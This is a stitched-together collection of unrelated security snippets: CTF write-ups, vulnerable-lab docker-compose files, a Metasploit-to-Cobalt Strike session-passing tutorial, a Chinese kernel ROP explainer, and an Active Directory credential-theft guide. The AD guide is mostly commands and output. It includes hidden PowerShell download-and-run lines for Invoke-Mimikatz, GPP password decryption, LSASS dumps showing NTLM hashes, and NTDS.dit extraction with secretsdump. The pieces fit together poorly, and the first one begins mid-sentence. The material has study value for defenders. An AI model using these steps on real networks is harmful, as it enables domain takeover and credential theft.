clip-clip.png clip-clop.png clop-clip.png clop-clop.jpg flag.png ``` 最后一步就是修复 flag 了。就是少了文件头那几个字符。
sec-knowleage
version: '2' services: flink: image: vulhub/flink:1.11.2 command: jobmanager ports: - "8081:8081" - "6123:6123"
sec-knowleage
version: '2' services: php: image: php:7.2-apache volumes: - ./www:/var/www/html ports: - "8080:80"
sec-knowleage
# https://www.ncbi.nlm.nih.gov/nuccore/HW306977.1/ s = """ atggagaaaa tagtrcttct tcttgcaata gtcagtcttg ttaaaagtga tcagatttgc attggttacc atgcaaacaa ttcaacagag caggttgaca caatcatgga aaagaacgtt actgttacac atgcccaaga catactggaa aagacacaca acgggaagct ctgcgatcta gatggagtga agcctctaat tttaagagat tgtagtgtag ctggatggct cctcgggaac ccaatgtgtg acgaattcat caatgtaccg gaatggtctt acatagtgga gaaggccaat ccaaccaatg acctctgtta cccagggagt ttcaacgact atgaagaact gaaacatcta ttgagcagaa taaaccattt tgagaaaatt caaatcatcc ccaaaagttc ttggtccgat catgaagcct catcaggagt gagctcagca tgtccatacc tgggaagtcc ctcctttttt agaaatgtgg tatggcttat caaaaagaac agtacatacc caacaataaa gaaaagctac aataatacca accaagaaga tcttttggta ctgtggggaa ttcaccatcc taatgatgcg gcagagcaga caaggctata tcaaaaccca accacctata tttccattgg gacatcaaca ctaaaccaga gattggtacc aaaaatagct actagatcca aagtaaacgg gcaaagtgga aggatggagt tcttctgggc aattttaaaa cctaatgatg caatcaactt cgagagtaat ggaaatttca ttgctccaga atatgcatac aaaattgtca agaaagggga ctcagcaatt atgaaaagtg aattggaata tggtaactgc aacaccaagt gtcaaactcc aatgggggcg ataaactcta gtatgccatt ccacaacata caccctctca ccatcgggga atgccccaaa tatgtgaaat caaacagatt agtccttgca acagggctca gaaatagccc tcaaagagag agcagaagaa aaaagagagg actatttgga gctatagcag gttttataga gggaggatgg cagggaatgg tagatggctg gtatgggtac caccatagca atgagcaggg gagtgggtac gctgcagaca aagaatccac tcaaaaggca atagatggag tcaccaataa ggtcaactca attattgaca aaatgaacac tcagtttgag gctgttggaa gggaatttaa taacttagaa aggagaatag agaatttaaa caagaagatg gaagacgggt ttctagatgt ttggacttat aatgccgaac ttctggttct catggaaaat gagagaactc tagactttca tgactcaaat gttaagaacc tctacgacaa ggtccgacta cagcttaggg ataatgcaaa agagctgggt aacggttgtt tcgagttcta tcacaaatgt gataatgaat gtatggaaag tataagaaac ggaacgtaca actatccgca gtattcagaa gaagcaagat taaaaagaga ggaaataagt ggggtaaaat tggaatcaat aggaacttac caaatactgt caatttattc aacagtagcg agttccctag cactggcaat catgatagct ggtctatctt tatggatgtg ctccaatgga tcgttacaat gcagaatttg catttaa """ s = s.replace(" ", "").replace("\n", "").upper() data = {} datas = {} mx = 0 for line in open("mars_dna_samples.txt").readlines(): num = int(line.split(",")[0]) q = line.split(",")[1].strip() data[num] = q datas[q] = num if len(q) > mx: mx = len(q) solutions = {} for ln in range(1, len(s) + 1): print ln, len(s) for off in range(len(s) - ln + 1): q = s[off:off+ln] if q in datas: solutions[(ln, off)] = [q] continue bl = 9999 bsol = None for div in range(1, mx + 5)[::-1]: if q[:div] not in datas: continue if (ln-div, off+div) not in solutions: continue sol = [q[:div]] + solutions[(ln-div, off+div)] if len(sol) < bl: bl, bsol = len(sol), sol if bsol: solutions[(ln, off)] = bsol res = solutions[(len(s), 0)] print res ress = ",".join(str(datas[q]) for q in res) print ress import hashlib print "ctfzone{" + hashlib.md5(ress).hexdigest() + "}"
sec-knowleage
# 0x00 MSF 转 CS 当我们的已经获得 meterpreter的时候转到CS只需要使用的`payload_inject`模块 ``` meterpreter > background [*] Backgrounding session 1... msf exploit(multi/handler) > use exploit/windows/local/payload_inject msf exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http payload => windows/meterpreter/reverse_http msf exploit(windows/local/payload_inject) > set lhost 192.168.59.132 lhost => 192.168.59.132 msf exploit(windows/local/payload_inject) > set lport 5555 lport => 5555 msf exploit(windows/local/payload_inject) > set session 1 session => 1 msf exploit(windows/local/payload_inject) > set disablepayloadhandler true disablepayloadhandler => true msf exploit(windows/local/payload_inject) > exploit -j ``` `set disablepayloadhandler true` 用来禁用 payload handler的监听否则有冲突。 然后在CS里面配置监听`set lhost 192.168.59.132` `set lport 5555` 即可 ![Cobalt Strike ](./img/16.1.png) # 0x01 CS 转 MSF CS转MSF 只需要用到 `spawn` 功能 >目标右键> spawn ![Cobalt Strike ](./img/16.2.png) 添加一个 Foreign 的监听器 在点choose 来到msf ``` msf > sessions -l Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows ADMIN-C199053CD\Administrator @ ADMIN-C199053CD 192.168.59.132:4444 -> 192.168.59.129:1035 (192.168.59.129) msf > use exploit/multi/handler msf exploit(multi/handler) > set set payload windows/meterpreter/reverse_http set => payload windows/meterpreter/reverse_http msf exploit(multi/handler) > set lhost 192.168.59.132 lhost => 192.168.59.132 msf exploit(multi/handler) > set lport 7788 lport => 7788 msf exploit(multi/handler) > exploit [*] Started HTTP reverse handler on http://192.168.59.132:7788 [*] http://192.168.59.132:7788 handling request from 192.168.59.129; (UUID: qwqc9zgv) Staging x86 payload (180825 bytes) ... [*] Meterpreter session 2 opened (192.168.59.132:7788 -> 192.168.59.129:1086) at 2019-04-05 13:39:34 +0800 ``` # 0x02 文末 ### 本文如有错误,请及时提醒,以免误导他人
sec-knowleage
**Authors**: < [nixawk](https://github.com/nixawk) > ---- ## Passwords in SYSVOL & Group Policy Preferences This method is the simplest since no special “hacking” tool is required. All the attacker has to do is open up Windows explorer and search the domain SYSVOL DFS share for XML files. Most of the time, the following XML files will contain credentials: groups.xml, scheduledtasks.xml, & Services.xml. SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. SYSVOL contains logon scripts, group policy data, and other domain-wide data which needs to be available anywhere there is a Domain Controller (since SYSVOL is automatically synchronized and shared among all Domain Controllers). All domain Group Policies are stored here: \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\ When a new GPP is created, there’s an associated XML file created in SYSVOL with the relevant configuration data and if there is a password provided, it is AES-256 bit encrypted which should be good enough… Except at some point prior to 2012, [Microsoft published the AES encryption key (shared secret) on MSDN](https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx) which can be used to decrypt the password. Since authenticated users (any domain user or users in a trusted domain) have read access to SYSVOL, anyone in the domain can search the SYSVOL share for XML files containing “cpassword” which is the value that contains the AES encrypted password. With access to this XML file, the attacker can use the AES private key to decrypt the GPP password. The PowerSploit function Get-GPPPassword is most useful for Group Policy Preference exploitation. The screenshot here shows a similar PowerShell function encrypting the GPP password from an XML file found in SYSVOL. ``` PS C:\Users\Administrator\Desktop> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1") PS C:\Users\Administrator\Desktop> Get-GPPPassword ``` ``` msf post(gpp) > show options Module options (post/windows/gather/credentials/gpp): Name Current Setting Required Description ---- --------------- -------- ----------- ALL true no Enumerate all domains on network. DOMAINS THEGEEKSTUFF no Enumerate list of space seperated domains DOMAINS="dom1 dom2". SESSION 1 yes The session to run this module on. STORE true no Store the enumerated files in loot. msf post(gpp) > run [*] Checking for group policy history objects... [-] Error accessing C:\ProgramData\Microsoft\Group Policy\History : stdapi_fs_ls: Operation failed: The system cannot find the path specified. [*] Checking for SYSVOL locally... [+] SYSVOL Group Policy Files found locally [*] Enumerating the user supplied Domain(s): THEGEEKSTUFF... [*] Enumerating DCs for THEGEEKSTUFF on the network... [-] ERROR_NO_BROWSER_SERVERS_FOUND [-] No Domain Controllers found for THEGEEKSTUFF [*] Searching for Group Policy XML Files... [*] Post module execution completed ``` ``` metasploit-framework [rapid7-master] ->> ./tools/password/cpassword_decrypt.rb j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw [+] The decrypted AES password is: Local*P4ssword! ``` Or you can also do it with [gpp_password_decrypt.py](https://github.com/nixawk/python-programming/blob/master/crypto/gpp_password_decrypt.py). ## Dump credentials with Invoke-Mimikatz [**Invoke-Mimikatz**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1) should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed. ``` PS C:\Users\Administrator\Desktop> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1") PS C:\Users\Administrator\Desktop> Invoke-Mimikatz ``` or ``` C:\Windows\system32> powershell.exe -exec bypass -windows hidden -c IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1");Invoke-Mimikatz ``` ## Dump LSASS memory with Task Manager (get Domain Admin credentials) Once LSASS is dumped, Mimikatz can be used to extract logged on credentials from the LSASS.dmp file on a different system. On a Domain Controller, this almost always results in Domain Admin credentials. ``` PS C:\Users\Administrator\Desktop\MimikatzX64> .\mimikatz.exe .#####. mimikatz 2.1 (x64) built on Oct 29 2016 21:27:40 .## ^ ##. "A La Vie, A L'Amour" ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 20 modules * * */ mimikatz # sekurlsa::minidump C:\Users\Administrator\Desktop\lsass.DMP Switch to MINIDUMP : 'C:\Users\Administrator\Desktop\lsass.DMP' mimikatz # sekurlsa::logonpasswords Opening : 'C:\Users\Administrator\Desktop\lsass.DMP' file for minidump... Authentication Id : 0 ; 391874 (00000000:0005fac2) Session : Interactive from 1 User Name : Administrator Domain : THEGEEKSTUFF Logon Server : SERVER Logon Time : 2016/11/5 12:08:54 SID : S-1-5-21-2783134295-2946968820-3756090084-500 msv : [00000003] Primary * Username : Administrator * Domain : THEGEEKSTUFF * NTLM : fc1fc80e9f128261a6bc463cb31e65b5 * SHA1 : 9fb867ff5ae033514134f54b5bacfa209d135125 [00010000] CredentialKeys * NTLM : fc1fc80e9f128261a6bc463cb31e65b5 * SHA1 : 9fb867ff5ae033514134f54b5bacfa209d135125 tspkg : wdigest : * Username : Administrator * Domain : THEGEEKSTUFF * Password : (null) kerberos : * Username : Administrator * Domain : THEGEEKSTUFF.COM * Password : (null) ssp : KO credman : Authentication Id : 0 ; 66164 (00000000:00010274) Session : Interactive from 1 User Name : DWM-1 Domain : Window Manager Logon Server : (null) Logon Time : 2016/11/5 12:07:53 SID : S-1-5-90-1 msv : [00000003] Primary * Username : SERVER$ * Domain : THEGEEKSTUFF * NTLM : 708faf9c9842a10735ecab33cc64ed37 * SHA1 : 170fc50c1613bc049225066bba08514ac35f1bce tspkg : wdigest : * Username : SERVER$ * Domain : THEGEEKSTUFF * Password : (null) kerberos : * Username : SERVER$ * Domain : thegeekstuff.com * Password : 0c f1 e2 be 81 2f 1e 4d a2 90 14 dc 84 1f c1 8c 41 0e e3 9b 7d 49 49 30 c8 63 b4 59 a9 d2 9e 08 e1 aa 9c 40 dc 5b c8 17 42 7e a7 7f e4 f6 9f 1d 80 a7 ee 1c 00 7e 19 ce 5b 4a b4 53 f4 7f 45 8f 49 71 03 a6 55 12 0e c4 3f 9d 87 a4 0d ca 5c bd 6d eb 6f 4e cb d7 3f 8c e9 39 07 26 65 fc c6 ac cb 81 31 7f 55 dd ac 8a 49 1d 16 a8 79 8b 2d 33 b7 2d 42 f5 19 a5 17 32 56 88 c0 e2 08 50 62 0b c9 f2 e9 47 13 cb 72 20 d3 b2 b7 ba f3 54 c4 27 86 2c 71 b3 33 dc 9d 77 ff 27 16 43 5c 8e fb fa ab 89 e0 f8 ae f1 b1 be 58 c0 e5 7b 76 a9 d4 80 37 18 6d 47 0d 7e 2b aa 0c cd b5 cb be 77 21 77 d1 52 d8 ba 5a 0f 5d 0e 74 7c 97 05 00 27 a0 51 cb 3b 95 d5 a7 55 37 49 0d 84 7a f6 d8 96 30 d3 06 a8 cb a3 91 8e 98 ad b7 8a 86 a9 c8 b8 ea c3 ssp : KO credman : Authentication Id : 0 ; 996 (00000000:000003e4) Session : Service from 0 User Name : SERVER$ Domain : THEGEEKSTUFF Logon Server : (null) Logon Time : 2016/11/5 12:07:53 SID : S-1-5-20 msv : [00000003] Primary * Username : SERVER$ * Domain : THEGEEKSTUFF * NTLM : 708faf9c9842a10735ecab33cc64ed37 * SHA1 : 170fc50c1613bc049225066bba08514ac35f1bce tspkg : wdigest : * Username : SERVER$ * Domain : THEGEEKSTUFF * Password : (null) kerberos : * Username : server$ * Domain : THEGEEKSTUFF.COM * Password : (null) ssp : KO credman : Authentication Id : 0 ; 997 (00000000:000003e5) Session : Service from 0 User Name : LOCAL SERVICE Domain : NT AUTHORITY Logon Server : (null) Logon Time : 2016/11/5 12:07:54 SID : S-1-5-19 msv : tspkg : wdigest : * Username : (null) * Domain : (null) * Password : (null) kerberos : * Username : (null) * Domain : (null) * Password : (null) ssp : KO credman : Authentication Id : 0 ; 66429 (00000000:0001037d) Session : Interactive from 1 User Name : DWM-1 Domain : Window Manager Logon Server : (null) Logon Time : 2016/11/5 12:07:53 SID : S-1-5-90-1 msv : [00000003] Primary * Username : SERVER$ * Domain : THEGEEKSTUFF * NTLM : 708faf9c9842a10735ecab33cc64ed37 * SHA1 : 170fc50c1613bc049225066bba08514ac35f1bce tspkg : wdigest : * Username : SERVER$ * Domain : THEGEEKSTUFF * Password : (null) kerberos : * Username : SERVER$ * Domain : thegeekstuff.com * Password : 0c f1 e2 be 81 2f 1e 4d a2 90 14 dc 84 1f c1 8c 41 0e e3 9b 7d 49 49 30 c8 63 b4 59 a9 d2 9e 08 e1 aa 9c 40 dc 5b c8 17 42 7e a7 7f e4 f6 9f 1d 80 a7 ee 1c 00 7e 19 ce 5b 4a b4 53 f4 7f 45 8f 49 71 03 a6 55 12 0e c4 3f 9d 87 a4 0d ca 5c bd 6d eb 6f 4e cb d7 3f 8c e9 39 07 26 65 fc c6 ac cb 81 31 7f 55 dd ac 8a 49 1d 16 a8 79 8b 2d 33 b7 2d 42 f5 19 a5 17 32 56 88 c0 e2 08 50 62 0b c9 f2 e9 47 13 cb 72 20 d3 b2 b7 ba f3 54 c4 27 86 2c 71 b3 33 dc 9d 77 ff 27 16 43 5c 8e fb fa ab 89 e0 f8 ae f1 b1 be 58 c0 e5 7b 76 a9 d4 80 37 18 6d 47 0d 7e 2b aa 0c cd b5 cb be 77 21 77 d1 52 d8 ba 5a 0f 5d 0e 74 7c 97 05 00 27 a0 51 cb 3b 95 d5 a7 55 37 49 0d 84 7a f6 d8 96 30 d3 06 a8 cb a3 91 8e 98 ad b7 8a 86 a9 c8 b8 ea c3 ssp : KO credman : Authentication Id : 0 ; 44395 (00000000:0000ad6b) Session : UndefinedLogonType from 0 User Name : (null) Domain : (null) Logon Server : (null) Logon Time : 2016/11/5 12:07:52 SID : msv : [00000003] Primary * Username : SERVER$ * Domain : THEGEEKSTUFF * NTLM : 708faf9c9842a10735ecab33cc64ed37 * SHA1 : 170fc50c1613bc049225066bba08514ac35f1bce tspkg : wdigest : kerberos : ssp : KO credman : Authentication Id : 0 ; 999 (00000000:000003e7) Session : UndefinedLogonType from 0 User Name : SERVER$ Domain : THEGEEKSTUFF Logon Server : (null) Logon Time : 2016/11/5 12:07:52 SID : S-1-5-18 msv : tspkg : wdigest : * Username : SERVER$ * Domain : THEGEEKSTUFF * Password : (null) kerberos : * Username : server$ * Domain : THEGEEKSTUFF.COM * Password : (null) ssp : KO credman : mimikatz # exit Bye! PS C:\Users\Administrator\Desktop\MimikatzX64> ``` ## Create Install From Media (IFM) set using NTDSUtil (Grab NTDS.dit file) NTDSUtil is the command utility for natively working with the AD DB (ntds.dit) & enables IFM set creation for DCPromo. IFM is used with DCPromo to “Install From Media” so the server being promoted doesn’t need to copy domain data over the network from another DC. The IFM set is a copy of the NTDS.dit file created in this instance in c:\temp. This file may be staged on a share for promoting new DCs or it may be found on a new server that has not been promoted yet. This server may not be properly secured. ``` C:\Users\Administrator>ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q ntdsutil: ac i ntds 活动实例设置为“ntds”。 ntdsutil: ifm ifm: create full c:\temp 正在创建快照... 成功生成快照集 {03d7e751-8489-4bee-b7c1-fde165f87426}。 快照 {e236f8b9-10e5-4404-ac4d-843f1db29f1e} 已作为 C:\$SNAP_201611051210_VOLUMEC$\ 装载 已装载快照 {e236f8b9-10e5-4404-ac4d-843f1db29f1e}。 正在启动碎片整理模式... 源数据库: C:\$SNAP_201611051210_VOLUMEC$\Windows\NTDS\ntds.dit 目标数据库: c:\temp\Active Directory\ntds.dit Defragmentation Status (% complete) 0 10 20 30 40 50 60 70 80 90 100 |----|----|----|----|----|----|----|----|----|----| ................................................... 正在复制注册表文件... 正在复制 c:\temp\registry\SYSTEM 正在复制 c:\temp\registry\SECURITY 快照 {e236f8b9-10e5-4404-ac4d-843f1db29f1e} 已卸载。 在 c:\temp 中成功创建 IFM 媒体。 ifm: q ntdsutil: q ``` ## Extract Hashes from NTDS.dit Once the attacker has a copy of the NTDS.dit file (and certain registry keys to decrypt security elements in the database file), the credential data in the Active Directory database file can be extracted. One method to extract the password hashes from the NTDS.dit file is Impacket’s secretsdump.py (Kali, etc). Just need the ntds.dit file and the System hive from the DC’s registry (you have both of these with an Install from Media (IFM) set from ntdsutil). ``` $ git clone https://github.com/CoreSecurity/impacket/ $ cd impacket/examples/ ``` ``` $ secretsdump.py -system /home/seclab/windows-2012/ntds/registry/SYSTEM -security /home/seclab/windows-2012/ntds/registry/SECURITY -ntds /home/seclab/windows-2012/ntds/Active\ Directory/ntds.dit LOCAL Impacket v0.9.16-dev - Copyright 2002-2016 Core Security Technologies [*] Target system bootKey: 0xb6570f7db706f37a5b79e72ab8c44b8a [*] Dumping cached domain logon information (uid:encryptedHash:longDomain:domain) [*] Dumping LSA Secrets [*] $MACHINE.ACC $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:708faf9c9842a10735ecab33cc64ed37 [*] DefaultPassword (Unknown User):ROOT#123 [*] DPAPI_SYSTEM 0000 01 00 00 00 8F 04 A9 BA 67 3B 83 81 09 62 0E 80 ........g;...b.. 0010 81 81 DB 99 FF 3E 7A F8 EE 80 BC 7F 8F C8 FA DE .....>z......... 0020 3D BE 24 6D 30 38 84 48 1A 5F B3 11 =.$m08.H._.. [*] NL$KM 0000 39 7B 96 FE 24 6D B9 58 44 A6 DF 78 77 F9 78 C9 9{..$m.XD..xw.x. 0010 72 F8 57 E6 C9 60 65 07 50 F5 EA 81 D7 5B A1 D2 r.W..`e.P....[.. 0020 D3 46 E8 67 3F C1 C8 8C 44 91 EA 62 20 9E 5A 58 .F.g?...D..b .ZX 0030 E4 C1 25 24 4F 01 6F AF 88 04 5F 33 89 FE D5 1E ..%$O.o..._3.... [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Searching for pekList, be patient [*] PEK # 0 found and decrypted: 0487dfc92c64213bdf39ca382d7baea8 [*] Reading and decrypting hashes from /home/seclab/windows-2012/ntds/Active Directory/ntds.dit Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc1fc80e9f128261a6bc463cb31e65b5::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SERVER$:1003:aad3b435b51404eeaad3b435b51404ee:708faf9c9842a10735ecab33cc64ed37::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:23ed7e50c091488d46c46ca69b428979::: wchen:1109:aad3b435b51404eeaad3b435b51404ee:fe72ec788d6739b4ac05033fecae793c::: jhart:1110:aad3b435b51404eeaad3b435b51404ee:d491885ff154677f71291be4517d7177::: SERVER2008$:1111:aad3b435b51404eeaad3b435b51404ee:db96a49b7ecf92cfd3a20b0c8048eef1::: john:1112:aad3b435b51404eeaad3b435b51404ee:6944c3f3a4ad58896b5fdb55b29f4fdf::: JOHN$:1113:aad3b435b51404eeaad3b435b51404ee:3926a5fc5b0eb8b373ebfc37d2f478d6::: [*] Kerberos keys from /home/seclab/windows-2012/ntds/Active Directory/ntds.dit SERVER$:aes256-cts-hmac-sha1-96:cc03dbc4f30db35f8f2a3894f3dccea99207f6180db7c9f98a1a363f80986e22 SERVER$:aes128-cts-hmac-sha1-96:a43c9870cf2798fd86eb502391281df9 SERVER$:des-cbc-md5:b9ef3b08b55e8998 krbtgt:aes256-cts-hmac-sha1-96:f5f37669f8fe6b10a3b65dddf09f80f78b1ce1f351e47130adfb70aa81eeff82 krbtgt:aes128-cts-hmac-sha1-96:a3bea9e21a87976f582de5a9a4c6784a krbtgt:des-cbc-md5:028adaf497028076 wchen:aes256-cts-hmac-sha1-96:c979d56fa938026e30ef8e8959ded691dcdc1abfb62c79e9061e42cb3ea5cd6f wchen:aes128-cts-hmac-sha1-96:464ee4707eb40a19d833afe1e5be6244 wchen:des-cbc-md5:0be69b2ada3dbcf4 jhart:aes256-cts-hmac-sha1-96:d1bb033c02346050588ac074871f7c13be08952936d0443221de2af820181407 jhart:aes128-cts-hmac-sha1-96:dc6f858f75486dd03f9b88dd3a0cd41f jhart:des-cbc-md5:895d10bf830d7961 SERVER2008$:aes256-cts-hmac-sha1-96:f88aa76cd58df5804762bcae3607a36566b299394622cd3a04e0f63baa179527 SERVER2008$:aes128-cts-hmac-sha1-96:ff258dfec8bfb3c0683eafb49799b943 SERVER2008$:des-cbc-md5:cb5e5e32dfa475b6 john:aes256-cts-hmac-sha1-96:6fb59e65a4ba99987759e87f4aa2435f155a15233ddc1eb763250d495f94212e john:aes128-cts-hmac-sha1-96:7e57a1d9f658456ec4ce24282d80a835 john:des-cbc-md5:ea8aadecea46e6c4 JOHN$:aes256-cts-hmac-sha1-96:05edf93acc4dd9c08af27f1c3ee8674185087e5321b57f290ac764c1bfdc025c JOHN$:aes128-cts-hmac-sha1-96:529d1632aa0283f7ba2d1c4ca216a22f JOHN$:des-cbc-md5:e029798f8f92e0da [*] Cleaning up... ``` ## References 1. https://www.youtube.com/watch?v=0WyBxwJD_c0 2. http://www.thegeekstuff.com/2014/11/install-active-directory 3. [How Attackers Dump Active Directory Database Credentials](https://adsecurity.org/?p=2398) 4. [How Attackers Pull the Active Directory Database (NTDS.dit) from a Domain Controller](https://adsecurity.org/?p=451) 5. [Attack Methods for Gaining Domain Admin Rights in Active Directory](https://adsecurity.org/?p=451) 6. [Unofficial Guide to Mimikatz & Command Reference](https://adsecurity.org/?page_id=1821#SEKURLSALogonPasswords)
sec-knowleage
# Memory (forensics 100) ###ENG [PL](#pl-version) In the task we get a memdump (quite large so we won't add it here). We proceed with the analysis using volatility. If we check connections we can see that there is only one: ``` $ ./volatility-2.5.standalone.exe connections -f forensic_100.raw Volatility Foundation Volatility Framework 2.5 Offset(V) Local Address Remote Address Pid ---------- ------------------------- ------------------------- --- 0x8213bbe8 192.168.88.131:1034 153.127.200.178:80 1080 ``` No we can still play with volatility or we can just check this IP directly in the memdump strings and we can find: ``` # Copyright (c) 1993-1999 Microsoft Corp. # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in the first column followed by the corresponding host name. # The IP address and the host name should be separated by at least one # space. # Additionally, comments (such as these) may be inserted on individual # lines or following the machine name denoted by a '#' symbol. # For example: # 102.54.94.97 rhino.acme.com # source server # 38.25.63.10 x.acme.com # x client host 127.0.0.1 localhost 153.127.200.178 crattack.tistory.com ``` So it seems someone added this IP manually for host `crattack.tistory.com`. If we now look for the host `crattack.tistory.com` we can find: ``` C:\Program Files\Internet Explorer\iexplore.exe http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd ``` This matches what we've seen - someone was accessing this IP on port 80, so it was IE. But this IP does not match the actual IP of this host. So we check what did the user see under `http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd` -> `http://153.127.200.178/entry/Data-Science-import-pandas-as-pd` and it turnes out to be the flag: `SECCON{_h3110_w3_h4ve_fun_w4rg4m3_}` ###PL version W zadaniu dostajemy memdump (duży więc go nie wrzucamy). Rozpoczynamy analizę z volatility. Jeśli sprawdzimy połączenia to widzimy tylko jedno: ``` $ ./volatility-2.5.standalone.exe connections -f forensic_100.raw Volatility Foundation Volatility Framework 2.5 Offset(V) Local Address Remote Address Pid ---------- ------------------------- ------------------------- --- 0x8213bbe8 192.168.88.131:1034 153.127.200.178:80 1080 ``` Moglibyśmy dalej bawić się z volatility ale szybciej będzie poszukać tego IP w stringach z memdumpa: ``` # Copyright (c) 1993-1999 Microsoft Corp. # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in the first column followed by the corresponding host name. # The IP address and the host name should be separated by at least one # space. # Additionally, comments (such as these) may be inserted on individual # lines or following the machine name denoted by a '#' symbol. # For example: # 102.54.94.97 rhino.acme.com # source server # 38.25.63.10 x.acme.com # x client host 127.0.0.1 localhost 153.127.200.178 crattack.tistory.com ``` Jak widać ktoś ręcznie dodał ten IP dla hosta `crattack.tistory.com`. Jeśli teraz poszukamy hosta `crattack.tistory.com` znajdziemy: ``` C:\Program Files\Internet Explorer\iexplore.exe http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd ``` Co pasuje do tego co obserwowaliśmy - ktoś łączył się z tym adresem na porcie 80, więc było to IE. Ale ten IP nie pasuje do faktycznego adresu tego hosta. Sprawwdźmy więc co użytkownik widział pod `http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd` -> `http://153.127.200.178/entry/Data-Science-import-pandas-as-pd` a okazuje się to być flagą: `SECCON{_h3110_w3_h4ve_fun_w4rg4m3_}`
sec-knowleage
### Kernel ROP概述 ROP即```返回导向编程```(Return-oriented programming),应当是大家比较熟悉的一种攻击方式——通过复用代码片段的方式控制程序执行流。 **内核态的 ROP 与用户态的 ROP 一般无二,只不过利用的 gadget 变成了内核中的 gadget,所需要构造执行的 ropchain 由** `system("/bin/sh")` **变为了** `commit_creds(&init_cred)` 或 `commit_creds(prepare_kernel_cred(NULL))`,当我们成功地在内核中执行这样的代码后,当前线程的 cred 结构体便变为 init 进程的 cred 的拷贝,我们也就获得了 root 权限,此时在用户态起一个 shell 便能获得 root shell。 ### Kernel ROP状态保存介绍 通常情况下,我们的exploit需要进入到内核当中完成提权,而我们最终仍然需要**着陆回用户态**以获得一个root权限的shell,因此在我们的exploit进入内核态之前我们需要**手动模拟用户态进入内核态的准备工作**——**保存各寄存器的值到内核栈上**,以便于后续着陆回用户态。 通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中,以便于构造 rop 链: > 算是一个通用的pwn板子。 > > 方便起见,使用了内联汇编,编译时需要指定参数:```-masm=intel```。 ```c size_t user_cs, user_ss, user_rflags, user_sp; void saveStatus() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); } ``` ### Kernel ROP返回用户态方式 由内核态返回用户态只需要: - `swapgs`指令恢复用户态GS寄存器 - `sysretq`或者`iretq`恢复到用户空间 那么我们只需要在内核中找到相应的gadget并执行```swapgs;iretq```就可以成功着陆回用户态。 通常来说,我们应当构造如下rop链以返回用户态并获得一个shell: ``` ↓ swapgs iretq user_shell_addr user_cs user_eflags //64bit user_rflags user_sp user_ss ```
sec-knowleage
# Intro Our entry point is a 2-minute [YouTube Video](https://youtu.be/KdBf-wvEaCM) which contains a [Shofar blowing](https://en.wikipedia.org/wiki/Shofar_blowing) - a religious ritual which consists of blowing a horn for short and long blasts. Translated to the world of CTFs, this usually means either binary encoding or morse code. Since there are long pauses between every few blasts, morse code seems like a better choice. Let's start by downloading the audio in order to later analyze it using tools: ```console root@kali:/media/sf_CTFs/hoshen/intro# python3 -m youtube_dl --extract-audio --audio-format wav https://youtu.be/KdBf-wvEaCM -o "%(id)s.%(ext)s" [youtube] KdBf-wvEaCM: Downloading webpage [download] Destination: KdBf-wvEaCM.m4a [download] 100% of 1.91MiB in 00:00 [ffmpeg] Correcting container in "KdBf-wvEaCM.m4a" [ffmpeg] Destination: KdBf-wvEaCM.wav Deleting original file KdBf-wvEaCM.m4a (pass -k to keep) ``` Now, we can view the audio file spectrogram: ```console root@kali:/media/sf_CTFs/hoshen/intro# sox KdBf-wvEaCM.wav -n spectrogram ``` Output: ![](images/spectrogram.png) We can easily see the dots and dashes, we just need to translate them to text: ```console root@kali:/media/sf_CTFs/hoshen/intro# export NODE_PATH=$(npm root --quiet -g) root@kali:/media/sf_CTFs/hoshen/intro# node > const chef = require("cyberchef"); undefined > chef.fromMorseCode(".---- ..--- ----. .-.-.- ..--- .---- ...-- .-.-.- ...-- ..--- .-.-.- ..--- -----").toString() '129.213.32.20' ``` Looks like we got an IP.
sec-knowleage
